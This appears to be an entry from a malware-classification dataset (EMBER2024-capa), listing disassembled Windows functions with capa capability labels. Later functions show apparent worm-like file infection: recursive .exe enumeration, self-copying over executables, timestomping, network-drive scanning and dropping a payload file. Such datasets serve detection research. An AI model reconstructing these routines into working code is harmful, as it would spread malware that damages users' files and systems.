joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4251c0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4252c0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00409ee0
lea eax, [ebp - 4]
call fcn.00409ff4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a538
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x4252aa
mov eax, ebx
call fcn.00406e0c
mov dword [ebp - 0x10], eax
xor edx, edx
push ebp
push 0x4252a3
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a538
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x42528d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x4252d4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x42528d
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
shr eax, 0x10
movzx eax, ax
mov dword [esi], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movzx eax, ax
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4252aa
mov eax, dword [ebp - 0x10]
call fcn.00406e28
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4252c7
lea eax, [ebp - 4]
call fcn.00409ab8
ret

Function at 0x42615c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00409f88
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040ec98
mov edi, eax
cmp edi, 0x104
jbe 0x426107
mov eax, edi
add eax, eax
call fcn.00406e0c
mov esi, eax
jmp 0x426109
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040ec98
push esi
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x426142
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x42612c
mov eax, esp
cmp esi, eax
je 0x42614f
mov eax, esi
call fcn.00406e28
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x426188
cmp bl, 0
je 0x426184
cmp bl, 0x41
jl 0x42617f
cmp bl, 0x5a
jg 0x42617f
or bl, 0x20
xor al, bl
inc esi
jmp 0x426163
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x4260c8

Function at 0x4269e4
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.0040a5dc
add esp, 0x800
pop ebx
ret
Function at 0x47dccc
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x47dcd4
mov eax, edx
pop esi
pop ebx
ret

Function at 0x4b52c8
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b5366
push dword fs:[eax]
mov dword fs:[eax], esp
or dl, byte [ebx + 0xd]
je 0x4b532a
cmp byte [ebx + 0x11], 0
jne 0x4b532a
cmp byte [ebx + 0x24], 0
jne 0x4b532a
mov byte [ebx + 0xf], 0
mov byte [ebx + 0xd], 0
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x4b534b
lea edx, [ebp - 4]
mov eax, dword [0x4dd970]
call fcn.0040ec04
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x48d384]
call fcn.0042414c
call fcn.00409134
jmp 0x4b534b
lea edx, [ebp - 8]
mov eax, dword [0x4dd970]
call fcn.0040ec04
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x48d384]
call fcn.0042414c
call fcn.00409134
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b536d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00409b18
ret

Function at 0x4b5b80
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x4b5bce
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004b5148
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b5be7
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4b5bf0
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004b5148
dec esi
jne 0x4b5c12
mov byte [ebx + 0xf], 0
pop esi
pop ebx
ret
Function at 0x4d53a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4d53a8
xor eax, eax
push ebp
push 0x4d5555
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.004d537c
mov dl, 1
mov eax, dword [0x48662c]
call fcn.004a54cc
mov dword [ebp - 0x10], eax
mov dl, 1
mov eax, dword [0x48662c]
call fcn.004a54cc
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
call fcn.004d51c8
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
call fcn.004256d8
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x4d556c
push 0x4d5580
lea eax, [ebp - 8]
mov edx, 4
call fcn.0040a814
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x48]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x4d5590
push 0
push 0x4d55a4
lea eax, [ebp - 0x34]
mov edx, 5
call fcn.0040a814
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x2c], 0x11
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x4d556c
push 0x4d5580
lea eax, [ebp - 0x38]
mov edx, 4
call fcn.0040a814
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0x11
lea edx, [ebp - 0x30]
mov ecx, 1
mov eax, dword [0x4dd6f0]
call fcn.0041f74c
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x30]
push 0x4d55b8
push 0x4d55c8
mov ecx, dword [0x4e1634]
mov dl, 1
mov eax, dword [0x489e84]
call fcn.004a8514
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
call fcn.004a81b4
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x4d55e4
push 0x4d55f8
lea eax, [ebp - 0x3c]
mov edx, 4
call fcn.0040a814
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x80]
push 0
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x4d55e4
push 0x4d55f8
lea eax, [ebp - 0x40]
mov edx, 4
call fcn.0040a814
mov eax, dword [ebp - 0x40]
call fcn.0040a538
push eax
push 0x4d5600
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
call fcn.00409918
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d555c
lea eax, [ebp - 0x40]
mov edx, 4
call fcn.00409b18
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00409b18
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00409b18
ret
Function at 0x30001183
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x300010fc
push 0x300010e0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x300011b8
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [ebp - 8]
xor esi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ebx, 0x300010dc
push ebx
call edi
test esi, esi
mov dword [0x300010dc], esi
jne 0x3000121c
mov dword [0x300010dc], 0xbb40e64e
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push ebx
call edi
pop edi
pop esi
mov dword [section..data], 0x44bf19b1
pop ebx
leave
ret
Function at 0x30001550
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x30001928
call fcn.30001846
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x3000236c
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x300012ef
cmp eax, esi
jne 0x300012e2
xor esi, esi
inc esi
mov ebx, esi
jmp 0x300012f2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x300012c9
xor esi, esi
inc esi
mov eax, dword [0x30002368]
cmp eax, esi
jne 0x30001305
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x30001334
mov eax, dword [0x30002368]
test eax, eax
jne 0x3000132e
mov dword [0x30002368], esi
push 0x300010d8
push 0x300010d0
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x30001334
jmp 0x3000145c
mov dword [0x30002028], esi
mov eax, dword [0x30002368]
cmp eax, esi
jne 0x30001358
push 0x300010cc
push 0x300010c4
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x30002368], 2
test ebx, ebx
jne 0x30001364
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x30002378], 0
je 0x30001388
push 0x30002378
call fcn.300017ce
pop ecx
test eax, eax
je 0x30001388
push 0
push 2
push 0
call dword [0x30002378]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x300013e4
test al, al
je 0x300013a2
cmp dword [ebp - 0x1c], 0
jne 0x300013e4
mov al, byte [esi]
test al, al
je 0x300013b2
cmp al, 0x20
ja 0x300013b2
inc esi
mov dword [ebp - 0x20], esi
jmp 0x300013a2
test byte [ebp - 0x3c], 1
je 0x300013be
movzx eax, word [ebp - 0x38]
jmp 0x300013c1
push 0xa
pop eax
push eax
push esi
push 0
push 0x30000000
call main
mov dword [0x30002024], eax
cmp dword [0x30002018], 0
jne 0x30001438
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x300013f3
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x30001406
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x3000138f
cmp dword [0x30002028], 0
jne 0x30001447
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x30002024]
jmp 0x30001468
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.3000188b
ret
call fcn.30001183
jmp 0x3000128f
Function at 0x401229
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
push eax
pop edi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00402d80
push edi
mov dword [ebp - 8], eax
call fcn.00401d50
push eax
pop ebx
push ebx
call fcn.00402d80
mov esi, eax
add esp, 0xc
xor eax, eax
test ebx, ebx
mov dword [ebp - 4], esi
jle 0x40128b
mov ecx, edi
sub esi, edi
mov dl, byte [ecx]
cmp dl, 0x2e
je 0x401284
inc eax
mov byte [esi + ecx], dl
inc ecx
cmp eax, ebx
jl 0x401272
jmp 0x40128b
mov ecx, dword [ebp - 4]
mov byte [ecx + eax], 0
push dword [ebp - 4]
push str._s.cab
push dword [ebp - 8]
call fcn.00401cb9
add esp, 0xc
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret

Function at 0x4012b4
Capabilities:
Copy file
Delete file
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x12c
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0x4348f4]
mov ebx, ecx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x118], eax
call edi
sub esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
lea ecx, [ebp - 0x12c]
push ecx
push esi
lea ecx, [ebp - 0x124]
push ecx
push eax
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push dword [0x4348f4]
lea eax, [ebp - 0x110]
push eax
mov dword [0x4348f8], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
or eax, eax
je 0x4013d6
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call fcn.00401000
push dword [ebp - 0x114]
call fcn.00401b21
add esp, 0xc
push esi
push esi
push 3
push esi
push esi
push 0x100
push dword [0x4348f4]
call ebx
push eax
pop ebx
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x118]
push dword [0x4348f4]
call edi
push 2
push dword [ebp - 0x114]
call edi
xor eax, eax
inc eax
jmp 0x4013d8
sub eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4013e7
Capabilities:
Copy file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x280
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov esi, str..exe
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x11c]
xor ebx, ebx
push str._s_s
push eax
mov dword [ebp - 0x264], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x27c], ebx
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x278], eax
jne 0x401465
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4015e4
mov esi, 0x104
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
mov edi, eax
push 0x6d
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x280]
push eax
push 1
lea eax, [ebp - 0x25d]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x25d], 0x30
je 0x40159c
push esi
call fcn.00402d80
pop ecx
push esi
mov dword [ebp - 0x268], eax
call fcn.00402d80
push eax
pop edi
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00401d50
pop ecx
mov ebx, eax
push ebx
call fcn.00402d80
pop ecx
sub ecx, ecx
or ebx, ebx
mov dword [ebp - 0x274], eax
jle 0x401530
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x230]
sub dword [ebp - 0x26c], eax
mov al, byte [ebp + ecx - 0x230]
cmp al, 0x2e
je 0x401526
mov edx, dword [ebp - 0x26c]
add edx, ecx
inc ecx
cmp ecx, ebx
mov byte [ebp + edx - 0x230], al
jl 0x401505
jmp 0x401530
mov eax, dword [ebp - 0x274]
mov byte [eax + ecx], 0
push dword [ebp - 0x274]
push dword [ebp - 0x270]
push str._s_s.cab
push esi
push dword [ebp - 0x268]
call fcn.00401d34
add esp, 0x14
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x270]
push str._s_s
push esi
push edi
call fcn.00401d34
add esp, 0x14
push 1
push dword [ebp - 0x268]
mov dword [0x4348f4], edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
or eax, eax
je 0x40159a
mov ecx, dword [ebp - 0x268]
call fcn.004012b4
test eax, eax
je 0x40159a
inc dword [ebp - 0x264]
xor ebx, ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4015bc
cmp dword [ebp - 0x264], 2
jne 0x4015d2
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x27c], 1
cmp dword [ebp - 0x27c], ebx
je 0x40146a
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4015f3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x150], eax
and dword [esp], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
push eax
pop edi
call fcn.00402d80
pop ecx
push ebx
push str._s.
push edi
mov dword [esp + 0x20], eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4016e1
cmp byte [esp + 0x44], 0x2e
jne 0x401674
cmp byte [esp + 0x45], 0
je 0x4016bb
cmp byte [esp + 0x45], 0x2e
jne 0x401674
cmp byte [esp + 0x46], 0
je 0x4016bb
test byte [esp + 0x18], 0x10
je 0x4016bb
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x44]
push eax
push ebx
push str._s_s_
push esi
push edi
call fcn.00401d34
add esp, 0x14
push edi
call fcn.00401c0b
test eax, eax
pop ecx
je 0x4016ae
push edi
call fcn.004013e7
or eax, eax
pop ecx
je 0x4016ae
inc dword [esp + 0xc]
push 1
push 0
push edi
call fcn.004015f3
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
or eax, eax
je 0x4016d7
mov eax, dword [esp + 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401658
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x15c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401caa
push ebp
pop esp
pop ebp
ret

Function at 0x401770
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
sub esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 4
je 0x4017af
inc esi
cmp esi, 0xd
jl 0x401783
jmp 0x4017bf
push 4
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret
Function at 0x4017cc
Capabilities:
Get disk information
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov eax, dword [esp + 0x10]
add eax, 0x43
push eax
lea eax, [esp + 0x20]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x4018c2
push 0x104
call fcn.00402d80
push eax
pop esi
lea eax, [esp + 0x20]
push eax
push str._swindows_
push esi
call fcn.00401cb9
push esi
call fcn.00401ab2
add esp, 0x14
test eax, eax
je 0x4018c2
push esi
push str._sWallPapers.jpg
push esi
call fcn.00401cb9
add esp, 0xc
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call ebx
cmp eax, 0xffffffff
je 0x401881
push eax
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
jmp 0x4018c2
push edi
push edi
push 1
push edi
push 2
push 0x40000000
push esi
call ebx
push 0
push eax
pop edi
lea eax, [esp + 0x1c]
push eax
push 0x21e7a
push 0x411fa0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4018c0
push edi
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
sub edi, edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x4017f4
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401caa
add esp, 0x18
ret

Function at 0x401973
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
xor edi, edi
mov dword [esp + 8], edi
lea eax, [edi + 0x43]
push eax
lea eax, [esp + 0x10]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401a17
test ebx, ebx
je 0x4019db
push 0x104
call fcn.00402d80
push eax
pop esi
push ebx
lea eax, [esp + 0x14]
push eax
push str._s_s_
push esi
call fcn.00401cb9
add esp, 0x14
jmp 0x4019fb
or edi, edi
je 0x401a17
push 5
call fcn.00402d80
push eax
pop esi
lea eax, [esp + 0x10]
push eax
push 0x40fbe0
push esi
call fcn.00401cb9
add esp, 0x10
push esi
call fcn.00401ab2
test eax, eax
pop ecx
je 0x401a17
push 3
push 0
push esi
call fcn.004015f3
add esp, 0xc
test eax, eax
jne 0x401a23
inc edi
cmp edi, 0xd
jl 0x40198f
jmp 0x401a2b
mov dword [esp + 8], 1
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.00401caa
mov esp, ebp
pop ebp
ret